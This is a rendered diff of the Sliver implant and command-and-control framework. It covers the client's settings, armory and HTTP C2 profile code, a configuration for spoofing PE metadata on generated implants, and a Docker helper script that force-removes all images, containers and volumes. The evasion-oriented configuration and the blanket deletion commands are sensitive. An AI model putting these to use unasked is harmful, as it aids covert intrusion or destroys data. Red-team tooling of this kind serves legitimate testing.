- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S) - [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection - [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS - [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable using [Python](https://github.com/moloch--/sliver-py) - Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
- Windows process migration, process injection, user token manipulation, etc. - Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration - Let's Encrypt integration
- In-memory .NET assembly execution - In-memory .NET assembly execution
@@ -35,12 +39,16 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
### Help! ### Help!
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
### Compile From Source ### Compile From Source
See the [wiki](https://sliver.sh/docs?name=Compile+from+Source). See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3 ### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details. Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
Executable
+135
View File
@@ -0,0 +1,135 @@
#!/usr/bin/env python3
"""
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import os
import sys
import argparse
INFO = "\033[1m\033[36m[*]\033[0m "
WARN = "\033[1m\033[31m[!]\033[0m "
BOLD = "\033[1m"
NORM = "\033[0m"
def exec_cmd(cmd, ignore_status=False):
"""Executes a command with some sugar"""
print("\n" + INFO + " %s\n" % cmd)
status = os.system(cmd)
if status != 0 and not ignore_status:
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
if input("continue? [Y/n]: ").upper() != "Y":
sys.exit(status)
return status
def docker_rm_volumes():
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
def docker_rm_containers():
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
def docker_rm_images():
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
def docker_prune():
exec_cmd("docker image prune -f", ignore_status=True)
def docker_rm_all():
docker_rm_containers()
docker_rm_images()
docker_rm_volumes()
def build():
status = exec_cmd("docker build --target test .")
if status == 0:
print("\n\n" + INFO + "Build successful")
def main(args):
"""Execute the respective task(s) based on cli args"""
if args.rm_images:
docker_rm_images()
if args.rm_containers:
docker_rm_containers()
if args.rm_volumes:
docker_rm_volumes()
if args.rm_all:
docker_rm_all()
if not args.no_prune:
docker_prune()
if not args.no_build:
build()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="automates interactions with docker")
parser.add_argument(
"--no-build",
"-b",
help="do not run build",
dest="no_build",
action="store_true",
)
parser.add_argument(
"--no-prune",
"-np",
help="do not prune images",
dest="no_prune",
action="store_true",
)
parser.add_argument(
"--rm-all",
"-rma",
help="rm all containers, images, and volumes",
dest="rm_all",
action="store_true",
)
parser.add_argument(
"--rm-containers",
"-rmc",
help="rm all containers",
dest="rm_containers",
action="store_true",
)
parser.add_argument(
"--rm-images",
"-rmi",
help="rm all images",
dest="rm_images",
action="store_true",
)
parser.add_argument(
"--rm-volumes",
"-rmv",
help="rm dangling volumes only",
dest="rm_volumes",
action="store_true",
)
try:
main(parser.parse_args())
except KeyboardInterrupt:
print("\n\n" + WARN + "User stopped process")
+15 -23
View File
@@ -1,26 +1,18 @@
# client Client
=======
## Overview This directory contains the client implementation, pretty much all of this code is also used by the server console.
Main command-line client for interacting with and administering Sliver servers. Provides the Cobra entrypoint and aggregates console, command, and transport subsystems. __Important:__ No code in this directory can import any code from `server/`.
## Go Files * `assets/` - Static asset files and management code (e.g. client configs)
* `cli/` - Command line interface implementation
- `main.go` – Entry point that initializes the CLI, processes flags, and launches the interactive console. * `command/` - Console command implementations
* `constants/` - Various shared constant values
## Sub-packages * `core/` - Client state management
* `licenses/` - Open source licenses
- `assets/` – Manages embedded client asset manifests such as operator profiles, settings, and armory catalogs. Handles serialization, bundling, and lookup of static client metadata. * `spin/` - Console spinner library
- `cli/` – Defines the Cobra root command and CLI initialization for the Sliver client binary. Sets up persistent flags, environment bootstrapping, and command wiring. * `tcpproxy/` - Local TCP proxy listener code
- `command/` – Shared registration glue, scaffolding, and helpers for Sliver client console command groups. Hosts common utilities for binding Cobra commands to RPC-backed actions. * `transport/` - Wires the client to the server
- `console/` – Renders the interactive console UI, logging, and terminal helpers for the client. Coordinates readline behavior, prompt styling, and message formatting. * `version/` - Version information
- `constants/` – Centralizes constants shared across the client runtime and command packages. Captures strings, flag names, and feature toggles used throughout the CLI. * `main.go` - Entrypoint
- `core/` – Maintains client application state, background workers, and RPC coordination. Orchestrates session tracking, event streams, and health checks.
- `credentials/` – Credential management utilities including sniffers and import helpers for operators. Provides parsers, storage helpers, and output formatting for recovered secrets.
- `licenses/` – Holds embedded license metadata bundled with the client distribution. Supplies license retrieval utilities used for attribution commands.
- `overlord/` – Supervises long-running client jobs, scheduling, and task orchestration. Tracks job lifecycle events and exposes status updates to the console.
- `packages/` – Deals with packaged extensions and module discovery for the client. Scans, validates, and caches extension manifests and assets.
- `spin/` – Lightweight terminal spinner utilities used for progress feedback. Wraps spinner styles and timing helpers shared across commands.
- `tcpproxy/` – Implements the local TCP proxy used for port forwarding from the client side. Manages listener lifecycles, connection pumps, and cleanup hooks.
- `transport/` – Client-side transports and RPC wiring to communicate with Sliver servers. Builds authenticated gRPC clients, TLS dialers, and reconnect logic.
- `version/` – Build-time version and semantic metadata for the client binary. Exposes git information, release channels, and helper formatters.
+2 -14
View File
@@ -1,15 +1,3 @@
# client/assets Assets
======
## Overview
Manages embedded client asset manifests such as operator profiles, settings, and armory catalogs. Handles serialization, bundling, and lookup of static client metadata. Core logic addresses aliases, armories, C2 profiles, and extensions within the assets package.
## Go Files
- `aliases.go` – Provides helpers for discovering, installing, and reading alias manifests shipped with the client.
- `armories.go` – Loads configured armory definitions and persists operator customizations.
- `assets.go` – Central entry point that exposes asset directories, lazy initialization, and filesystem utilities.
- `c2profiles.go` – Embeds default HTTP C2 profile templates and exposes lookup utilities.
- `config.go` – Tracks client configuration paths and manages persistence of runtime options.
- `extensions.go` – Handles embedded extension manifests and supports lookup by command name.
- `settings.go` – Stores default console settings and manages serialization to disk.
+11 -50
View File
@@ -27,8 +27,7 @@ import (
) )
const ( const (
ArmoryConfigFileName = "armories.json" armoryConfigFileName = "armories.json"
DefaultArmoryName = "Default"
) )
var ( var (
@@ -37,11 +36,9 @@ var (
// DefaultArmoryRepoURL - The default repo url for the armory // DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string DefaultArmoryRepoURL string
DefaultArmoryConfig = &ArmoryConfig{ defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey, PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL, RepoURL: DefaultArmoryRepoURL,
Name: DefaultArmoryName,
Enabled: true,
} }
) )
@@ -51,65 +48,29 @@ type ArmoryConfig struct {
RepoURL string `json:"repo_url"` RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"` Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"` AuthorizationCmd string `json:"authorization_cmd"`
Name string `json:"name"`
Enabled bool `json:"enabled"`
}
func RefreshArmoryAuthorization(armories []*ArmoryConfig) {
for _, armoryConfig := range armories {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
} }
// GetArmoriesConfig - The parsed armory config file // GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig { func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName) armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) { if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{DefaultArmoryConfig} return []*ArmoryConfig{defaultArmoryConfig}
} }
data, err := os.ReadFile(armoryConfigPath) data, err := os.ReadFile(armoryConfigPath)
if err != nil { if err != nil {
return []*ArmoryConfig{DefaultArmoryConfig} return []*ArmoryConfig{defaultArmoryConfig}
} }
var armoryConfigsFromFile []*ArmoryConfig
var armoryConfigs []*ArmoryConfig var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigsFromFile) err = json.Unmarshal(data, &armoryConfigs)
if err != nil { if err != nil {
return []*ArmoryConfig{DefaultArmoryConfig} return []*ArmoryConfig{defaultArmoryConfig}
} }
for _, armoryConfig := range armoryConfigs {
// Force the default armory to be the last if armoryConfig.AuthorizationCmd != "" {
defaultArmorySpecified := false armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
for _, config := range armoryConfigsFromFile {
if config.Name == DefaultArmoryName {
defaultArmorySpecified = true
continue
} else {
armoryConfigs = append(armoryConfigs, config)
} }
} }
if defaultArmorySpecified { return append(armoryConfigs, defaultArmoryConfig)
armoryConfigs = append(armoryConfigs, DefaultArmoryConfig)
}
RefreshArmoryAuthorization(armoryConfigs)
return armoryConfigs
}
func SaveArmoriesConfig(armories []*ArmoryConfig) error {
configData, err := json.Marshal(armories)
if err != nil {
return err
}
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
err = os.WriteFile(armoryConfigPath, configData, 0640)
if err != nil {
return err
}
return nil
} }
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string { func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
+6 -24
View File
@@ -34,19 +34,12 @@ const (
SliverClientDirName = ".sliver-client" SliverClientDirName = ".sliver-client"
versionFileName = "version" versionFileName = "version"
envVarName = "SLIVER_CLIENT_ROOT_DIR"
) )
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/ // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
func GetRootAppDir() string { func GetRootAppDir() string {
value := os.Getenv(envVarName) user, _ := user.Current()
var dir string dir := filepath.Join(user.HomeDir, SliverClientDirName)
if len(value) == 0 {
user, _ := user.Current()
dir = filepath.Join(user.HomeDir, SliverClientDirName)
} else {
dir = value
}
if _, err := os.Stat(dir); os.IsNotExist(err) { if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700) err = os.MkdirAll(dir, 0700)
if err != nil { if err != nil {
@@ -80,18 +73,6 @@ func GetConsoleLogsDir() string {
return consoleLogsDir return consoleLogsDir
} }
// GetMCPLogsDir - Get the Sliver client MCP logs dir ~/.sliver-client/logs/mcp/
func GetMCPLogsDir() string {
mcpLogsDir := filepath.Join(GetClientLogsDir(), "mcp")
if _, err := os.Stat(mcpLogsDir); os.IsNotExist(err) {
err = os.MkdirAll(mcpLogsDir, 0700)
if err != nil {
log.Fatal(err)
}
}
return mcpLogsDir
}
func assetVersion() string { func assetVersion() string {
appDir := GetRootAppDir() appDir := GetRootAppDir()
data, err := os.ReadFile(filepath.Join(appDir, versionFileName)) data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
@@ -115,7 +96,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit { if force || localVer == "" || localVer != ver.GitCommit {
if echo { if echo {
fmt.Printf(` fmt.Printf(`
Sliver Copyright (C) 2026 Bishop Fox Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'. This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`) under certain conditions; type 'licenses' for details.`)
@@ -123,6 +104,7 @@ under certain conditions; type 'licenses' for details.`)
} }
saveAssetVersion(appDir) saveAssetVersion(appDir)
} }
_, _ = LoadSettings() if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
_, _ = LoadSpoofMetadataConfig() SaveSettings(nil)
}
} }
+25 -12
View File
@@ -35,7 +35,7 @@ type NameValueProbability struct {
Name string `json:"name"` Name string `json:"name"`
Value string `json:"value"` Value string `json:"value"`
Probability int `json:"probability"` Probability int `json:"probability"`
Method string `json:"method"` Methods []string
} }
// HTTPC2ImplantConfig - Implant configuration options // HTTPC2ImplantConfig - Implant configuration options
@@ -57,17 +57,30 @@ type HTTPC2ImplantConfig struct {
NonceQueryArgChars string `json:"nonce_query_args"` NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"` URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"` Headers []NameValueProbability `json:"headers"`
NonceQueryLength int `json:"nonce_query_length"`
NonceMode string `json:"nonce_mode"`
MaxFileGen int `json:"max_files"` MaxFiles int `json:"max_files"`
MinFileGen int `json:"min_files"` MinFiles int `json:"min_files"`
MaxPathGen int `json:"max_paths"` MaxPaths int `json:"max_paths"`
MinPathGen int `json:"min_paths"` MinPaths int `json:"min_paths"`
MaxPathLength int `json:"max_path_length"`
MinPathLength int `json:"min_path_length"`
Extensions []string `json:"extensions"` // Stager files and paths
Files []string `json:"files"` StagerFileExt string `json:"stager_file_ext"`
Paths []string `json:"paths"` StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
} }
-27
View File
@@ -1,27 +0,0 @@
package assets
import (
"os"
"path/filepath"
"strings"
)
func legacyBackupPath(legacyPath string) string {
dir := filepath.Dir(legacyPath)
base := filepath.Base(legacyPath)
name := strings.TrimSuffix(base, filepath.Ext(base))
return filepath.Join(dir, "."+name+".json-old")
}
func renameLegacyConfig(legacyPath string) error {
if _, err := os.Stat(legacyPath); os.IsNotExist(err) {
return nil
}
backupPath := legacyBackupPath(legacyPath)
if _, err := os.Stat(backupPath); err == nil {
if err := os.Remove(backupPath); err != nil {
return err
}
}
return os.Rename(legacyPath, backupPath)
}
+16 -92
View File
@@ -22,111 +22,39 @@ import (
"encoding/json" "encoding/json"
"os" "os"
"path/filepath" "path/filepath"
"strings"
"gopkg.in/yaml.v3"
) )
const ( const (
settingsFileName = "tui-settings.yaml" settingsFileName = "tui-settings.json"
settingsLegacyFileName = "tui-settings.json"
)
const (
// Accepted values for tui-settings.yaml "prompt:":
// - host: show "[host]" prefix on sliver-client, "[server]" on server console
// - operator-host: show "[operator@host]" prefix on sliver-client, "[server]" on server console
// - basic: show "sliver >" (no prefix)
// - custom: render full prompt from prompt_template
PromptStyleHost = "host"
PromptStyleOperatorHost = "operator-host"
PromptStyleBasic = "basic"
PromptStyleCustom = "custom"
) )
// ClientSettings - Client JSON config // ClientSettings - Client JSON config
type ClientSettings struct { type ClientSettings struct {
TableStyle string `json:"tables" yaml:"tables"` TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult" yaml:"autoadult"` AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults" yaml:"beacon_autoresults"` BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width" yaml:"small_term_width"` SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow" yaml:"always_overflow"` AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode" yaml:"vim_mode"` VimMode bool `json:"vim_mode"`
UserConnect bool `json:"user_connect" yaml:"user_connect"` UserConnect bool `json:"user_connect"`
ConsoleLogs bool `json:"console_logs" yaml:"console_logs"` ConsoleLogs bool `json:"console_logs"`
PromptStyle string `json:"prompt" yaml:"prompt"`
PromptTemplate string `json:"prompt_template" yaml:"prompt_template"`
} }
// LoadSettings - Load the client settings from disk // LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) { func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir()) rootDir, _ := filepath.Abs(GetRootAppDir())
settingsPath := filepath.Join(rootDir, settingsFileName) data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
legacyPath := filepath.Join(rootDir, settingsLegacyFileName) if err != nil {
return defaultSettings(), err
}
settings := defaultSettings() settings := defaultSettings()
migratedLegacy := false err = json.Unmarshal(data, settings)
if err != nil {
data, err := os.ReadFile(settingsPath)
if err == nil {
if err = yaml.Unmarshal(data, settings); err != nil {
return defaultSettings(), err
}
} else if !os.IsNotExist(err) {
return defaultSettings(), err return defaultSettings(), err
} else if data, err = os.ReadFile(legacyPath); err == nil {
if err = json.Unmarshal(data, settings); err != nil {
return defaultSettings(), err
}
migratedLegacy = true
} else if !os.IsNotExist(err) {
return defaultSettings(), err
}
// Ensure any missing/unknown values are coerced to a supported prompt style.
settings.PromptStyle = NormalizePromptStyle(settings.PromptStyle)
if err := SaveSettings(settings); err != nil {
return settings, err
}
if migratedLegacy {
if err := renameLegacyConfig(legacyPath); err != nil {
return settings, err
}
} }
return settings, nil return settings, nil
} }
// NormalizePromptStyle canonicalizes prompt style strings and returns a safe
// default if the value is empty/unknown.
func NormalizePromptStyle(v string) string {
switch strings.ToLower(strings.TrimSpace(v)) {
case PromptStyleOperatorHost:
return PromptStyleOperatorHost
case PromptStyleHost:
return PromptStyleHost
case PromptStyleBasic:
return PromptStyleBasic
case PromptStyleCustom:
return PromptStyleCustom
// Backward compatible aliases.
case "show host":
return PromptStyleHost
case "show user and host":
return PromptStyleOperatorHost
case "show operator and host":
return PromptStyleOperatorHost
case "operator@host":
return PromptStyleOperatorHost
case "user@host":
return PromptStyleOperatorHost
case "":
return PromptStyleHost
default:
return PromptStyleHost
}
}
func defaultSettings() *ClientSettings { func defaultSettings() *ClientSettings {
return &ClientSettings{ return &ClientSettings{
TableStyle: "SliverDefault", TableStyle: "SliverDefault",
@@ -136,20 +64,16 @@ func defaultSettings() *ClientSettings {
AlwaysOverflow: false, AlwaysOverflow: false,
VimMode: false, VimMode: false,
ConsoleLogs: true, ConsoleLogs: true,
PromptStyle: PromptStyleHost,
PromptTemplate: DefaultPromptTemplate,
} }
} }
const DefaultPromptTemplate = `{{- if .IsServer -}}{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- else -}}{{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- end -}}`
// SaveSettings - Save the current settings to disk // SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error { func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir()) rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil { if settings == nil {
settings = defaultSettings() settings = defaultSettings()
} }
data, err := yaml.Marshal(settings) data, err := json.MarshalIndent(settings, "", " ")
if err != nil { if err != nil {
return err return err
} }
-137
View File
@@ -1,137 +0,0 @@
package assets
import (
"encoding/json"
"os"
"path/filepath"
"testing"
)
func TestLoadSettingsParsesYAML(t *testing.T) {
t.Setenv(envVarName, t.TempDir())
rootDir, _ := filepath.Abs(GetRootAppDir())
settingsPath := filepath.Join(rootDir, settingsFileName)
data := []byte(`tables: "Compact"
autoadult: true
beacon_autoresults: false
small_term_width: 120
always_overflow: true
vim_mode: true
user_connect: true
console_logs: false
prompt: "basic"
prompt_template: "{{.Host}}"
`)
if err := os.WriteFile(settingsPath, data, 0o600); err != nil {
t.Fatalf("failed to write yaml settings: %v", err)
}
settings, err := LoadSettings()
if err != nil {
t.Fatalf("expected no error, got %v", err)
}
if settings.TableStyle != "Compact" {
t.Fatalf("expected TableStyle %q, got %q", "Compact", settings.TableStyle)
}
if !settings.AutoAdult {
t.Fatalf("expected AutoAdult true")
}
if settings.BeaconAutoResults {
t.Fatalf("expected BeaconAutoResults false")
}
if settings.SmallTermWidth != 120 {
t.Fatalf("expected SmallTermWidth %d, got %d", 120, settings.SmallTermWidth)
}
if !settings.AlwaysOverflow {
t.Fatalf("expected AlwaysOverflow true")
}
if !settings.VimMode {
t.Fatalf("expected VimMode true")
}
if !settings.UserConnect {
t.Fatalf("expected UserConnect true")
}
if settings.ConsoleLogs {
t.Fatalf("expected ConsoleLogs false")
}
if settings.PromptStyle != PromptStyleBasic {
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleBasic, settings.PromptStyle)
}
if settings.PromptTemplate != "{{.Host}}" {
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Host}}", settings.PromptTemplate)
}
}
func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
t.Setenv(envVarName, t.TempDir())
rootDir, _ := filepath.Abs(GetRootAppDir())
legacyPath := filepath.Join(rootDir, settingsLegacyFileName)
legacy := &ClientSettings{
TableStyle: "Legacy",
AutoAdult: true,
BeaconAutoResults: false,
SmallTermWidth: 200,
AlwaysOverflow: true,
VimMode: true,
UserConnect: true,
ConsoleLogs: false,
PromptStyle: PromptStyleOperatorHost,
PromptTemplate: "{{.Operator}}@{{.Host}} sliver > ",
}
data, err := json.MarshalIndent(legacy, "", " ")
if err != nil {
t.Fatalf("failed to marshal legacy settings: %v", err)
}
if err := os.WriteFile(legacyPath, data, 0o600); err != nil {
t.Fatalf("failed to write legacy settings: %v", err)
}
settings, err := LoadSettings()
if err != nil {
t.Fatalf("expected no error, got %v", err)
}
if settings.TableStyle != "Legacy" {
t.Fatalf("expected TableStyle %q, got %q", "Legacy", settings.TableStyle)
}
if settings.PromptStyle != PromptStyleOperatorHost {
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleOperatorHost, settings.PromptStyle)
}
if settings.PromptTemplate != "{{.Operator}}@{{.Host}} sliver > " {
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Operator}}@{{.Host}} sliver > ", settings.PromptTemplate)
}
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
t.Fatalf("expected yaml settings to exist: %v", err)
}
if _, err := os.Stat(legacyPath); !os.IsNotExist(err) {
t.Fatalf("expected legacy settings to be renamed: %v", err)
}
if _, err := os.Stat(legacyBackupPath(legacyPath)); err != nil {
t.Fatalf("expected legacy backup to exist: %v", err)
}
}
func TestLoadSettingsWritesDefault(t *testing.T) {
t.Setenv(envVarName, t.TempDir())
settings, err := LoadSettings()
if err != nil {
t.Fatalf("expected no error, got %v", err)
}
if settings.TableStyle != "SliverDefault" {
t.Fatalf("expected default TableStyle %q, got %q", "SliverDefault", settings.TableStyle)
}
if settings.PromptStyle != PromptStyleHost {
t.Fatalf("expected default PromptStyle %q, got %q", PromptStyleHost, settings.PromptStyle)
}
if settings.PromptTemplate != DefaultPromptTemplate {
t.Fatalf("expected default PromptTemplate %q, got %q", DefaultPromptTemplate, settings.PromptTemplate)
}
rootDir, _ := filepath.Abs(GetRootAppDir())
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
t.Fatalf("expected default settings to be written: %v", err)
}
}
-216
View File
@@ -1,216 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
"path/filepath"
"gopkg.in/yaml.v3"
)
const spoofMetadataFileName = "spoof-metadata.yaml"
const defaultSpoofMetadataConfigTemplate = `# Sliver executable metadata spoofing configuration.
# Used by generate commands when --spoof-metadata is set.
#
# Fields that reference file content support either:
# - path: read bytes from a local file path
# - base64: inline base64 file content
# Do not set both path and base64 for the same object.
#
# Example 1: Minimal path-based metadata cloning (most common)
pe:
source:
name: metadata-source.exe
path: ""
# Optional icon donor. Reserved for future standalone icon mutation support.
icon:
name: icon.ico
path: ""
# Example 2: Inline/base64 source (uncomment and remove "path" above)
# source:
# name: metadata-source.exe
# base64: "TVqQAAMAAAAEAAAA..."
# Example 3: Optional PE structure overrides (advanced)
# Applied after metadata/resources are cloned from source.
# Omitted fields keep cloned values.
# resource_directory:
# characteristics: 0
# time_date_stamp: 0
# major_version: 1
# minor_version: 0
# number_of_named_entries: 0
# number_of_id_entries: 0
#
# resource_directory_entries:
# - name: 1
# offset_to_data: 0
#
# resource_data_entries:
# - offset_to_data: 0
# size: 0
# code_page: 0
# reserved: 0
#
# export_directory:
# characteristics: 0
# time_date_stamp: 0
# major_version: 1
# minor_version: 0
# name: 0
# base: 0
# number_of_functions: 0
# number_of_names: 0
# address_of_functions: 0
# address_of_names: 0
# address_of_name_ordinals: 0
`
// SpoofMetadataConfig stores default metadata spoofing inputs for generate commands.
type SpoofMetadataConfig struct {
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
}
// PESpoofMetadataConfig stores PE-specific spoofing inputs.
type PESpoofMetadataConfig struct {
Source *SpoofMetadataDataSource `json:"source,omitempty" yaml:"source,omitempty"`
Icon *SpoofMetadataDataSource `json:"icon,omitempty" yaml:"icon,omitempty"`
ResourceDirectory *ImageResourceDirectory `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
ResourceDirectoryEntries []*ImageResourceDirectoryEntry `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
ResourceDataEntries []*ImageResourceDataEntry `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
ExportDirectory *ImageExportDirectory `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
}
// SpoofMetadataDataSource points to bytes that should be sent to the server.
// Either Path or Base64 may be set.
type SpoofMetadataDataSource struct {
Name string `json:"name,omitempty" yaml:"name,omitempty"`
Path string `json:"path,omitempty" yaml:"path,omitempty"`
Base64 string `json:"base64,omitempty" yaml:"base64,omitempty"`
}
type ImageResourceDirectory struct {
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
NumberOfNamedEntries uint32 `json:"number_of_named_entries,omitempty" yaml:"number_of_named_entries,omitempty"`
NumberOfIDEntries uint32 `json:"number_of_id_entries,omitempty" yaml:"number_of_id_entries,omitempty"`
}
type ImageResourceDirectoryEntry struct {
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
}
type ImageResourceDataEntry struct {
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
Size uint32 `json:"size,omitempty" yaml:"size,omitempty"`
CodePage uint32 `json:"code_page,omitempty" yaml:"code_page,omitempty"`
Reserved uint32 `json:"reserved,omitempty" yaml:"reserved,omitempty"`
}
type ImageExportDirectory struct {
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
Base uint32 `json:"base,omitempty" yaml:"base,omitempty"`
NumberOfFunctions uint32 `json:"number_of_functions,omitempty" yaml:"number_of_functions,omitempty"`
NumberOfNames uint32 `json:"number_of_names,omitempty" yaml:"number_of_names,omitempty"`
AddressOfFunctions uint32 `json:"address_of_functions,omitempty" yaml:"address_of_functions,omitempty"`
AddressOfNames uint32 `json:"address_of_names,omitempty" yaml:"address_of_names,omitempty"`
AddressOfNameOrdinals uint32 `json:"address_of_name_ordinals,omitempty" yaml:"address_of_name_ordinals,omitempty"`
}
// SpoofMetadataConfigPath returns the spoof metadata config file path.
func SpoofMetadataConfigPath() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
return filepath.Join(rootDir, spoofMetadataFileName)
}
